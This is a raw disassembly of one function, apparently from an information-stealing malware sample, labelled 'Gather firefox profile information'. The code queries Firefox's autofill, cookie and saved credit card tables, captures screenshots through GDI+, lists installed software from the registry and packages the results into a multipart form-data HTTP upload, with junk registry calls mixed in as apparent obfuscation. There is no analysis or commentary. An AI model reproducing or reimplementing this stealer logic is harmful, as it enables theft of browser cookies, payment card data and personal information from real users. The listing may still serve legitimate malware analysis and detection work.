Function at 0x40bf2e
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbcc
push ebx
mov ebx, dword [0x41404c]
push esi
push edi
push str.SELECT_name__value_FROM_autofill
push 1
push 0
push 0
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], ecx
call ebx
mov esi, dword [0x41402c]
push 0
push 1
push eax
call esi
push 0x416d8c
push 1
push 0
push 0
call ebx
push 0
push 1
push eax
call esi
mov ebx, dword [0x414020]
call ebx
push 0x416d98
push 0
push 0
call dword [0x414010]
mov edi, dword [0x414044]
test eax, eax
je 0x40bf9e
push eax
call dword [0x414018]
jmp 0x40bfac
call ebx
push 0x416da4
push str.SELECT_host__path__isSecure__expiry__name__value_FROM_moz_cookies
call edi
lea eax, [ebp - 0x448]
push eax
push 0x416dbc
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x416dc8
push 0x416dd4
call edi
push 0x416de0
xor ebx, ebx
push ebx
push 1
push ebx
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push ebx
push 0x101c
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [0x414048]
push eax
call dword [0x414058]
push 0x416dec
push 0x416df8
call edi
push 0x416e04
push 1
push ebx
call dword [0x414038]
push 0x416e14
mov esi, eax
call dword [0x414008]
push esi
call dword [0x41401c]
lea eax, [ebp - 0x50]
push eax
push 0x20019
push ebx
mov ebx, dword [section..rdata]
push str.cookies.sqlite
push 0x80000001
call ebx
push 0x386
push 0
call dword [0x414014]
push 0x416e30
push 0x416e3c
mov esi, eax
call edi
push esi
call dword [0x414040]
mov esi, dword [0x414020]
call esi
push 0x416e48
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40c099
push eax
call dword [0x41401c]
call esi
lea eax, [ebp - 0x6c]
push eax
push 0x20019
push 0
push 0x416e58
push 0x80000001
call ebx
push 0x416e64
call dword [0x414008]
push str.Content_Type:_application_x_object
push 0x416e80
call edi
push 0xc350
push 0x40
call dword [str.log:_tm4oz6yy]
push 0x18
push 0x40
mov dword [ebp - 0x18], eax
call dword [str.log:_tm4oz6yy]
push 0x208
push 0x40
mov dword [ebp - 8], eax
call dword [str.log:_tm4oz6yy]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
cmp word [eax], 0x68
jne 0x40cad6
push 0x74
pop ecx
cmp word [eax + 2], cx
jne 0x40cad6
cmp word [eax + 4], cx
jne 0x40cad6
cmp word [eax + 6], 0x70
jne 0x40cad6
movzx eax, word [eax + 8]
push 0x416e8c
push 1
push 0
push 0
mov dword [ebp - 0x40], eax
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
push str.Content_Disposition:_form_data__name_file___filename_
push 0x416ea4
call edi
push 0x416eb0
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40c180
push eax
call dword [0x41401c]
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push 0x416ec0
jmp 0x40c190
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push 0x416ecc
push 0x80000001
call ebx
push 0x416ed8
call dword [0x414008]
push 0x416ee8
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40c1be
push eax
call dword [0x414018]
jmp 0x40c1c0
call esi
push 0x416ef4
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x416f00
push 1
push 0
call dword [0x414038]
push eax
call dword [0x41401c]
push 0x948
push 0
call dword [0x414014]
push eax
call dword [0x414040]
push str.GdiplusStartup
push 1
push 0
push 0
call dword [0x41404c]
push str.GdipDisposeImage
mov esi, eax
call dword [0x414008]
push 0
push 1
push esi
call dword [0x41402c]
test eax, eax
jne 0x40c243
push 0x416f30
call dword [0x414008]
lea eax, [ebp - 0x588]
push eax
push 0x416f40
call dword [0x41405c]
push eax
call dword [0x41400c]
xor eax, eax
push eax
push 0x109e
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
push str.GdipGetImageEncodersSize
push 0x416f58
mov esi, eax
call edi
push esi
call dword [0x414058]
lea eax, [ebp - 0x54]
mov esi, 0x20019
push eax
push esi
push 0
push 0x416f64
push 0x80000001
call ebx
call dword [0x414020]
lea eax, [ebp - 0x58]
push eax
push esi
push 0
push 0x416f70
push 0x80000001
call ebx
push 0x416f7c
call dword [0x414008]
push 0x416f8c
push str.BitBlt
call edi
push dword [0x41a4d0]
mov ecx, dword [ebp - 4]
push ecx
call dword [str.XML6gsnbyoi]
and dword [ebp - 0xc], 0
add eax, 6
mov dword [ebp - 0x10], eax
xor cl, cl
push 0x2f
movzx eax, word [eax]
mov edx, eax
mov dword [ebp - 4], edx
pop edx
cmp ax, dx
je 0x40c34d
mov esi, dword [ebp - 8]
xor edx, edx
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
movzx eax, ax
movzx eax, ax
cmp eax, 0x3a
jne 0x40c313
mov cl, 1
jmp 0x40c329
test cl, cl
jne 0x40c323
mov ebx, dword [ebp - 0x1c]
mov word [edx + ebx], ax
mov ebx, dword [ebp - 0x10]
jmp 0x40c329
mov word [esi], ax
add esi, 2
inc edi
push 0x2f
lea edx, [edi + edi]
movzx eax, word [edx + ebx]
mov ebx, eax
mov dword [ebp - 4], ebx
pop ebx
cmp ax, bx
mov ebx, dword [ebp - 0x10]
jne 0x40c307
mov edi, dword [0x414044]
mov ebx, dword [section..rdata]
push dword [ebp - 0x1c]
call dword [0x41a090]
push dword [ebp - 8]
mov esi, eax
call dword [0x41a090]
push dword [ebp - 8]
add esi, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi*2]
add eax, 2
mov dword [ebp - 0x24], eax
call dword [str.SMPHR_5qcs4vvg]
push 0x416fa4
push 1
push 0
mov dword [ebp - 0x2c], eax
call dword [0x414038]
push eax
call dword [0x41401c]
push 0x416fb4
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40c3ab
push eax
call dword [0x414018]
push 0xb6c
push 0
call dword [0x414014]
mov esi, eax
lea eax, [ebp - 0x5c]
push eax
push 0x20019
push 0
push 0x416fc0
push 0x80000001
call ebx
push esi
call dword [0x414040]
mov esi, dword [0x41404c]
push str.DeleteObject
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [0x41402c]
test eax, eax
je 0x40c406
push str.GetObjectW
push str.SelectObject
jmp 0x40c410
push 0x416ff4
push 0x417000
call edi
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.StretchBlt
push 0x80000001
call ebx
push 5
pop ebx
push str.SELECT_name_on_card__card_number_encrypted__expiration_month__expiration_year_FROM_credit_cards
push 0x417024
call edi
sub ebx, 1
jne 0x40c42c
push ebx
push 0x930
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [0x414048]
push eax
call dword [0x414058]
push 0x417030
push 0x41703c
call edi
push 0x417048
push 1
push ebx
call dword [0x414038]
mov ebx, dword [section..rdata]
test eax, eax
je 0x40c487
push eax
call dword [0x41401c]
call dword [0x414020]
push 0x417058
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [0x41402c]
lea eax, [ebp - 0x6c8]
push eax
push 0x417064
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x417070
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
call dword [0x414020]
lea eax, [ebp - 0x60]
push eax
push 0x20019
push 0
push 0x41707c
push 0x80000001
call ebx
push 0x417088
push 0x417094
call edi
push 0x4170a0
call dword [0x414008]
push dword [ebp - 8]
call dword [0x41a0cc]
mov esi, dword [ebp + 8]
mov eax, esi
shl eax, 0x15
push eax
push 0x40
call dword [str.log:_tm4oz6yy]
mov dword [ebp - 8], eax
test esi, esi
jle 0x40c8ed
mov dword [ebp - 4], esi
push 0x4170b0
push 0x4170bc
call edi
push 0x721
push 0
call dword [0x414014]
push eax
call dword [0x414040]
mov esi, dword [0x41404c]
push 0x4170c8
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [0x41402c]
push 0x4170d4
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40c58d
push eax
call dword [0x41401c]
push 0x4170e4
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [0x41402c]
test eax, eax
je 0x40c5b4
push 0x4170f4
call dword [0x414008]
push 0x417104
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x417110
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40c5fd
push eax
call dword [0x414018]
push str.SECITEM_FreeItem
push 0x417128
call edi
jmp 0x40c614
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push 0x417134
push 0x80000001
call ebx
xor eax, eax
push eax
push 0xe9b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
push eax
call dword [0x414058]
push 0x417140
push 1
push 0
call dword [0x414038]
mov esi, eax
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push 0x417150
push 0x80000001
call ebx
push esi
call dword [0x41401c]
lea eax, [ebp - 0x808]
push eax
push 0x41715c
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x417168
push 0x417174
call edi
lea eax, [ebp - 0x4c]
push eax
push 0x20019
push 0
push 0x417180
push 0x80000001
call ebx
call dword [0x414020]
push 0x41718c
call dword [0x414008]
mov ecx, dword [ebp - 0x14]
call fcn.0041194a
mov edx, dword [0x41a4e0]
mov esi, eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], esi
call fcn.00411cef
mov edx, esi
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a40c]
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a3f8]
mov ecx, eax
call fcn.00411cef
mov esi, dword [ebp + 0xc]
mov ecx, eax
mov edx, dword [esi]
call fcn.00411cef
mov edx, str.S_1_5_18
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a40c]
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a41c]
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a40c]
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a40c]
mov ecx, eax
call fcn.00411cef
mov edx, dword [esi + 4]
mov ecx, eax
call fcn.00411cef
mov edx, dword [0x41a40c]
mov ecx, eax
call fcn.00411cef
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c8]
push eax
push 0x4171a0
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x4171ac
push 1
push 0
push 0
call dword [0x41404c]
mov esi, eax
call dword [0x414020]
push 0
push 1
push esi
call dword [0x41402c]
test eax, eax
jne 0x40c79c
push 0x4171bc
push 0x4171c8
call edi
push 0x4171d4
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40c7c4
push eax
call dword [0x41401c]
push str.storagedefault
push 0x4171f0
call edi
jmp 0x40c7db
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push 0x4171fc
push 0x80000001
call ebx
xor eax, eax
push eax
push 0xe7
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push 0x20019
push 0
push 0x417208
push 0x80000001
call ebx
push esi
call dword [0x414058]
push 0x417214
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
call dword [0x414020]
push 0x417220
push 1
push 0
call dword [0x414038]
mov esi, eax
call dword [0x414020]
push esi
call dword [0x41401c]
push 0x417230
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
push 0xdad
push 0
call dword [0x414014]
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
push 0x41723c
push 0x80000001
call ebx
push esi
call dword [0x414040]
push 0x417248
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40c8c4
push eax
call dword [0x414018]
push 0x417254
call dword [0x414008]
jmp 0x40c8d0
push 0x417264
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
call edi
push dword [ebp - 0xc]
call dword [0x41a0cc]
add dword [ebp + 0xc], 0xc
sub dword [ebp - 4], 1
jne 0x40c535
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
push eax
push ecx
push 0xfde9
call dword [str.63r0m2yt]
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 0x14
push eax
push 0x40
call dword [str.log:_tm4oz6yy]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
add eax, esi
shl eax, 0x14
push eax
push 0x40
call dword [str.log:_tm4oz6yy]
push 0x41727c
push 1
push 0
push 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
lea eax, [ebp - 0x948]
push eax
push 0x417288
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x417294
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40c97c
push eax
call dword [0x414018]
push 0x4172a0
push 1
push 0
call dword [0x414038]
push eax
call dword [0x41401c]
push str.DisplayVersion
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x4d0
push 0
call dword [0x414014]
push eax
call dword [0x414040]
call dword [0x414020]
push 0x4172bc
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40c9f3
push eax
call dword [0x41401c]
push 0x4172cc
push 0x4172d8
call edi
push 0x4172e4
push 1
push 0
push 0
call dword [0x41404c]
mov esi, eax
lea eax, [ebp - 0x64]
push eax
push 0x20019
push 0
push 0x4172f4
push 0x80000001
call ebx
push 0
push 1
push esi
call dword [0x41402c]
xor eax, eax
push eax
push 0x123c
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
mov esi, eax
call dword [0x414020]
push esi
call dword [0x414058]
push 0x417300
push str..lnk
call edi
push 0x417318
push 0x417324
call edi
lea eax, [ebp - 0x68]
push eax
push 0x20019
push 0
push str.WTMR_t51a4cj9
push 0x80000001
call ebx
push 0x41733c
call dword [0x414008]
call dword [0x414020]
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
test eax, eax
je 0x40cc8d
xor ecx, ecx
push ecx
push ecx
push eax
push esi
push 0xffffffffffffffff
push dword [ebp - 8]
push ecx
push 0xfde9
call dword [str.63r0m2yt]
test eax, eax
jne 0x40cadd
push dword [ebp - 8]
call dword [0x41a0cc]
push dword [ebp - 0x18]
call dword [0x41a0cc]
push esi
call dword [0x41a0cc]
push dword [ebp - 0x1c]
call dword [0x41a0cc]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0x41734c
push 0
push 0
call dword [0x414010]
mov esi, eax
test esi, esi
je 0x40cb07
push 0x417358
push 0x417364
call edi
push esi
call dword [0x414018]
jmp 0x40cb13
push 0x417370
push 0x41737c
call edi
push str.log:_5qvdjrlo
push 1
push 0
call dword [0x414038]
push eax
call dword [0x41401c]
push str.sozdspep
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
push str.vzu7vprh
push str.regppdjvhj9
call edi
xor eax, eax
push eax
push 0xfcd
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.xuvzkmrv
push 0x80000001
call ebx
push esi
call dword [0x414058]
push str.lzll6uo4
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
test eax, eax
je 0x40cbbc
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push 0x4173d8
push 0x80000001
call ebx
push 0x4173e4
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x9ec
push 0
call dword [0x414014]
push 0x4173f0
push str.regxw74ohto
mov esi, eax
call edi
push esi
call dword [0x414040]
push 4
pop esi
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.XMLs735vbcn
push 0x80000001
call ebx
sub esi, 1
jne 0x40cc02
lea eax, [ebp - 0x308]
push eax
push str.log:_61gy0voo
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x417420
push 1
push esi
call dword [0x414038]
push str.WTMR_tqrhw1zd
push 0x41743c
mov esi, eax
call edi
test esi, esi
je 0x40cc5e
push esi
call dword [0x41401c]
call dword [0x414020]
mov esi, dword [ebp - 4]
push esi
call dword [str.reg3ze05pbk]
test eax, eax
jle 0x40cc8d
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x20]
call dword [0x41a008]
test eax, eax
je 0x40cc8d
mov ecx, dword [ebp - 0x20]
dec ecx
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
push dword [ebp - 8]
call dword [0x41a0cc]
push esi
call dword [0x41a0cc]
cmp dword [ebp + 0x10], 0
jle 0x40d11a
mov esi, dword [ebp + 0x14]
add esi, 4
mov dword [ebp - 8], esi
push 0
push dword [esi]
call dword [0x41a154]
mov dword [ebp - 0x30], eax
add eax, 0x400
push eax
push 0x40
call dword [str.log:_tm4oz6yy]
push 0x417448
push 0
push 0
mov dword [ebp - 0xc], eax
call dword [0x414010]
mov esi, eax
test esi, esi
je 0x40cd0e
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push 0x417454
push 0x80000001
call ebx
push esi
call dword [0x414018]
push 0x417460
call dword [0x414008]
jmp 0x40cd25
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
push 0x417470
push 0x80000001
call ebx
push 0x41747c
push 1
push 0
call dword [0x414038]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push 0x20019
push 0
push 0x41748c
push 0x80000001
call ebx
push esi
mov esi, dword [0x41401c]
call esi
lea eax, [ebp - 0x308]
push eax
push 0x417498
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x4174a4
push 1
push 0
call dword [0x414038]
push str.log:_s432f25f
mov dword [ebp - 4], eax
call dword [0x414008]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40cd9c
push eax
call esi
call dword [0x414020]
push str.SMPHR_vbmonqo4
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
push 0x4174d0
call dword [0x414008]
xor eax, eax
push eax
push 0x6f5
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
mov esi, eax
lea eax, [ebp - 0x4c]
push eax
push 0x20019
push 0
push str.kefqrse1
push 0x80000001
call ebx
push esi
call dword [0x414058]
push str.3ne43b2q
call dword [0x414008]
push 0x4174fc
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x19
push 0
call dword [0x414014]
mov esi, eax
lea eax, [ebp - 0x70]
push eax
push 0x20019
push 0
push str.XMLst1590iw
push 0x80000001
call ebx
push esi
call dword [0x414040]
push str.ev_b2ctsay8
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
test eax, eax
je 0x40ce79
push 0x417524
push str.reg9khjllcn
call edi
lea eax, [ebp - 0x74]
push eax
push 0x20019
push 0
push str.WTMR_bytibn8d
push 0x80000001
call ebx
mov edx, dword [0x41a4c0]
mov ecx, dword [ebp - 0xc]
call fcn.0041204c
mov edx, dword [0x41a538]
mov ecx, eax
call fcn.0041204c
mov edx, dword [ebp - 0x14]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a4c0]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a540]
mov ecx, eax
call fcn.0041204c
mov edx, dword [ebp - 8]
mov ecx, eax
mov edx, dword [edx - 4]
call fcn.0041204c
mov edx, 0x417548
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a4c0]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a4d4]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a4c0]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a4c0]
mov ecx, eax
call fcn.0041204c
mov esi, eax
push esi
mov dword [ebp - 0xc], esi
call dword [str.reg3ze05pbk]
mov dword [ebp - 4], eax
inc eax
push eax
push esi
mov esi, dword [ebp - 0x10]
push esi
call dword [0x41a008]
test eax, eax
je 0x40cf71
mov eax, dword [ebp - 8]
add esi, dword [ebp - 4]
mov dword [ebp - 0x10], esi
cmp dword [eax], 0
je 0x40cf71
push 0
lea ecx, [ebp - 0x28]
push ecx
push dword [ebp - 0x30]
push esi
push dword [eax]
call dword [0x41a08c]
test eax, eax
je 0x40cf66
add esi, dword [ebp - 0x28]
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 8]
push dword [eax]
call dword [0x41a0c0]
push str.8bunsfxm
push 1
push 0
call dword [0x414038]
mov esi, eax
lea eax, [ebp - 0x78]
push eax
push 0x20019
push 0
push 0x41755c
push 0x80000001
call ebx
push esi
call dword [0x41401c]
push 0x417568
push 0x417574
call edi
push 0x326
push 0
call dword [0x414014]
push eax
call dword [0x414040]
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push 0
push 0x417580
push 0x80000001
call ebx
lea eax, [ebp - 0x1c8]
push eax
push 0x41758c
call dword [0x41405c]
push eax
call dword [0x41400c]
xor eax, eax
push eax
push 0xa28
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
push 0x417598
mov esi, eax
call dword [0x414008]
push esi
call dword [0x414058]
push 0x4175a8
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
mov esi, dword [0x414020]
call esi
push 0x4175b4
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
test eax, eax
jne 0x40d05e
call esi
push 0x4175c4
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40d078
push eax
call dword [0x41401c]
call esi
push str.3n14cs44
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40d094
push eax
call dword [0x414018]
push str.SMPHR_flhwwoz2
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
lea eax, [ebp - 0x80]
push eax
push 0x20019
push 0
push 0x4175ec
push 0x80000001
call ebx
push 0x4175f8
call dword [0x414008]
mov esi, dword [ebp - 8]
cmp dword [esi - 4], 0
je 0x40d0e9
push dword [esi - 4]
call dword [0x41a0cc]
cmp dword [esi + 4], 0
je 0x40d101
push dword [esi + 4]
call dword [0x41a0f8]
push dword [esi + 4]
call dword [0x41a0cc]
push dword [ebp - 0xc]
call dword [0x41a0cc]
add esi, 0x10
sub dword [ebp + 0x10], 1
mov dword [ebp - 8], esi
jne 0x40ccb0
mov esi, dword [0x414038]
push str.z8d7us70
push 1
push 0
call esi
test eax, eax
je 0x40d138
push eax
call dword [0x41401c]
jmp 0x40d144
push 0x417618
push 0x417624
call edi
push 0x417630
push 1
push 0
call esi
push 0x417640
mov esi, eax
call dword [0x414008]
push esi
call dword [0x41401c]
mov esi, dword [0x414020]
call esi
push 0x417650
push 1
push 0
push 0
call dword [0x41404c]
push 0
push 1
push eax
call dword [0x41402c]
push 0x41765c
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40d1ac
push eax
call dword [0x414018]
push 0x417668
call dword [0x414008]
xor eax, eax
push eax
push 0xd22
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
push eax
call dword [0x414058]
push 0x22b
push 0
call dword [0x414014]
push eax
call dword [0x414040]
call esi
lea eax, [ebp - 0xa88]
push eax
push 0x417678
call dword [0x41405c]
push eax
call dword [0x41400c]
push 0x417684
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push 0x417690
push 1
push 0
push 0
call dword [0x41404c]
mov esi, eax
lea eax, [ebp - 0x84]
push eax
push 0x20019
push 0
push str.wdhnpstf
push 0x80000001
call ebx
push 0
push 1
push esi
call dword [0x41402c]
test eax, eax
je 0x40d25f
push str.w84tadtg
push str.ev_ajrk1hpd
call edi
push 0x100
push 0x40
call dword [str.log:_tm4oz6yy]
mov edx, dword [0x41a4c0]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a538]
mov ecx, eax
call fcn.0041204c
mov edx, dword [ebp - 0x14]
mov ecx, eax
call fcn.0041204c
mov edx, dword [0x41a538]
mov ecx, eax
call fcn.0041204c
mov esi, eax
push esi
mov dword [ebp - 0x14], esi
call dword [str.reg3ze05pbk]
inc eax
push eax
push esi
mov esi, dword [ebp - 0x10]
push esi
call dword [0x41a008]
test eax, eax
je 0x40d2c5
push dword [ebp - 0x14]
call dword [str.reg3ze05pbk]
add esi, eax
push dword [ebp - 0x14]
call dword [0x41a0cc]
xor eax, eax
mov dword [ebp - 0x38], 0x7530
push eax
push eax
push eax
push eax
push 0x4168fc
mov dword [ebp - 0x3c], 0x7a120
call dword [0x41a12c]
push 4
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], eax
push ecx
push 6
push eax
call dword [str.i9igj823]
push 4
lea eax, [ebp - 0x3c]
push eax
push 5
push dword [ebp - 0x14]
call dword [str.i9igj823]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40d3ea
push 1
xor ecx, ecx
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
push eax
call dword [str.s_ttppglfr]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40d3e1
cmp word [ebp - 0x40], 0x73
mov edx, 0xc00000
push 1
mov ecx, 0x400000
cmove ecx, edx
push ecx
push dword [ebp + 0x1c]
push 0
push 0
push dword [ebp - 0x24]
push dword [0x41a2a0]
push eax
call dword [0x41a0bc]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x40d3d8
mov eax, dword [ebp - 0x20]
sub esi, eax
push esi
push eax
push dword [ebp + 0x18]
call dword [0x41a090]
mov esi, dword [ebp - 0x24]
push eax
push dword [ebp + 0x18]
push esi
call dword [0x41a018]
test eax, eax
je 0x40d3d1
lea eax, [ebp - 4]
push eax
push 0xc350
push dword [ebp - 0x18]
push esi
call dword [0x41a100]
test eax, eax
je 0x40d3d1
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40d3cb
mov byte [eax + ebx], 0
lea eax, [ebp - 4]
push eax
push 0xc350
push ebx
push esi
call dword [0x41a100]
test eax, eax
jne 0x40d3ab
mov ebx, dword [section..rdata]
push esi
call dword [str.regyevpnmyu]
push dword [ebp - 0x2c]
call dword [str.regyevpnmyu]
push dword [ebp - 0x14]
call dword [str.regyevpnmyu]
push 0xbed
push 0
call dword [0x414014]
push eax
call dword [0x414040]
push str.regafaoz3g3
call dword [0x414008]
mov esi, dword [0x41404c]
push 0x4176d4
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [0x41402c]
push 0x4176e0
push 1
push 0
push 0
call esi
push 0x4176f0
push 0x4176fc
mov esi, eax
call edi
push 0
push 1
push esi
call dword [0x41402c]
xor eax, eax
push eax
push 0xa4f
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [0x414048]
push eax
call dword [0x414058]
call dword [0x414020]
lea eax, [ebp - 0xbc8]
push eax
push 0x417708
call dword [0x41405c]
push eax
call dword [0x41400c]
push str.ev_3ccgrisc
push 1
push 0
call dword [0x414038]
test eax, eax
je 0x40d4ad
push eax
call dword [0x41401c]
push 0x417724
push str.regj0hg0tyj
call edi
push str.XML9f153mp1
push 0
push 1
push 0
call dword [0x414050]
mov esi, eax
push esi
call dword [0x414024]
push esi
call dword [0x414034]
push str.MTXxiziikq2
push 1
push 0
call dword [0x414038]
push eax
call dword [0x41401c]
mov esi, dword [0x414008]
push 0x417758
call esi
push 0x417768
push 0
push 0
call dword [0x414010]
test eax, eax
je 0x40d50d
push eax
call dword [0x414018]
jmp 0x40d513
call dword [0x414020]
lea eax, [ebp - 0x88]
push eax
push 0x20019
push 0
push 0x417774
push 0x80000001
call ebx
push 0x417780
push 0x41778c
call edi
call dword [0x414020]
push 0x417798
call esi
mov ebx, dword [ebp - 0x18]
push 0
push 0
push ebx
call dword [str.reg3ze05pbk]
inc eax
push eax
push ebx
push 0
push 0xfde9
call dword [0x41a0b0]
mov edi, eax
lea ebx, [edi + edi]
push ebx
push 0x40
call dword [str.log:_tm4oz6yy]
mov esi, eax
test edi, edi
je 0x40d59d
push edi
mov edi, dword [ebp - 0x18]
push esi
push edi
call dword [str.reg3ze05pbk]
inc eax
push eax
push edi
push 0
push 0xfde9
call dword [0x41a0b0]
xor eax, eax
mov word [ebx + esi - 2], ax
jmp 0x40d5a0
mov edi, dword [ebp - 0x18]
test esi, esi
je 0x40d5ab
push esi
call dword [0x41a0cc]
push dword [ebp - 0x1c]
call dword [0x41a0cc]
push edi
call dword [0x41a0cc]
push dword [ebp - 0x20]
call dword [0x41a0cc]
xor eax, eax
inc eax
jmp 0x40cad8